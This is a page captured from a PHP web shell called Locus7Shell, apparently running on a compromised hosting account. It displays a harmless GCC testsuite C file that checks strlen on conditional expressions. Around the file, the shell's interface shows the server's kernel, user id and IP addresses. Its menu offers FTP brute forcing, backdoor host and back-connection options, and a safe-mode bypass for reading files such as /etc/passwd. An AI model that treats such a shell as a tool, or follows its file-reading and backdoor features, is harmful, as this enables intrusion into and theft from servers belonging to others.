Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.c-torture/execute/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     strlen-6.c (2.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test to verify that strlen() calls with conditional expressions
   and unterminated arrays or pointers to such things as arguments
   are evaluated without making assumptions about array sizes.  */

extern __SIZE_TYPE__ strlen (const char *);

unsigned nfails;

#define A(expr, N)                        \
  do {                                \
    const char *_s = (expr);                    \
    unsigned _n = strlen (_s);                    \
    ((_n == N)                            \
     ? 0                            \
     : (__builtin_printf ("line %i: strlen ((%s) = (\"%s\"))"    \
              " == %u failed\n",            \
              __LINE__, #expr, _s, N),        \
    ++nfails));                        \
  } while (0)


volatile int i0 = 0;

const char ca[2][3] = { "12" };
const char cb[2][3] = { { '1', '2', '3', }, { '4' } };

char va[2][3] = { "123" };
char vb[2][3] = { { '1', '2', '3', }, { '4', '5' } };

const char *s = "123456";


static void test_binary_cond_expr_global (void)
{
  A (i0 ? "1" : ca[0], 2);
  A (i0 ? ca[0] : "123", 3);

  /* The call to strlen (cb[0]) is strictly undefined because the array
     isn't nul-terminated.  This test verifies that the strlen range
     optimization doesn't assume that the argument is necessarily nul
     terminated.
     Ditto for strlen (vb[0]).  */
  A (i0 ? "1" : cb[0], 4);              /* GCC 8.2 failure */
  A (i0 ? cb[0] : "12", 2);

  A (i0 ? "1" : va[0], 3);              /* GCC 8.2 failure */
  A (i0 ? va[0] : "1234", 4);

  A (i0 ? "1" : vb[0], 5);              /* GCC 8.2 failure */
  A (i0 ? vb[0] : "12", 2);
}


static void test_binary_cond_expr_local (void)
{
  const char lca[2][3] = { "12" };
  const char lcb[2][3] = { { '1', '2', '3', }, { '4' } };

  char lva[2][3] = { "123" };
  char lvb[2][3] = { { '1', '2', '3', }, { '4', '5' } };

  /* Also undefined as above.  */
  A (i0 ? "1" : lca[0], 2);
  A (i0 ? lca[0] : "123", 3);

  A (i0 ? "1" : lcb[0], 4);             /* GCC 8.2 failure */
  A (i0 ? lcb[0] : "12", 2);

  A (i0 ? "1" : lva[0], 3);             /* GCC 8.2 failure */
  A (i0 ? lva[0] : "1234", 4);

  A (i0 ? "1" : lvb[0], 5);             /* GCC 8.2 failure */
  A (i0 ? lvb[0] : "12", 2);
}


static void test_ternary_cond_expr (void)
{
  /* Also undefined.  */
  A (i0 == 0 ? s : i0 == 1 ? vb[0] : "123", 6);
  A (i0 == 0 ? vb[0] : i0 == 1 ? s : "123", 5);
  A (i0 == 0 ? "123" : i0 == 1 ? s : vb[0], 3);
}


const char (*pca)[3] = &ca[0];
const char (*pcb)[3] = &cb[0];

char (*pva)[3] = &va[0];
char (*pvb)[3] = &vb[0];

static void test_binary_cond_expr_arrayptr (void)
{
  /* Also undefined.  */
  A (i0 ? *pca : *pcb, 4);              /* GCC 8.2 failure */
  A (i0 ? *pcb : *pca, 2);

  A (i0 ? *pva : *pvb, 5);              /* GCC 8.2 failure */
  A (i0 ? *pvb : *pva, 3);
}


int main (void)
{
  test_binary_cond_expr_global ();
  test_binary_cond_expr_local ();

  test_ternary_cond_expr ();
  test_binary_cond_expr_arrayptr ();

  if (nfails)
    __builtin_abort ();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--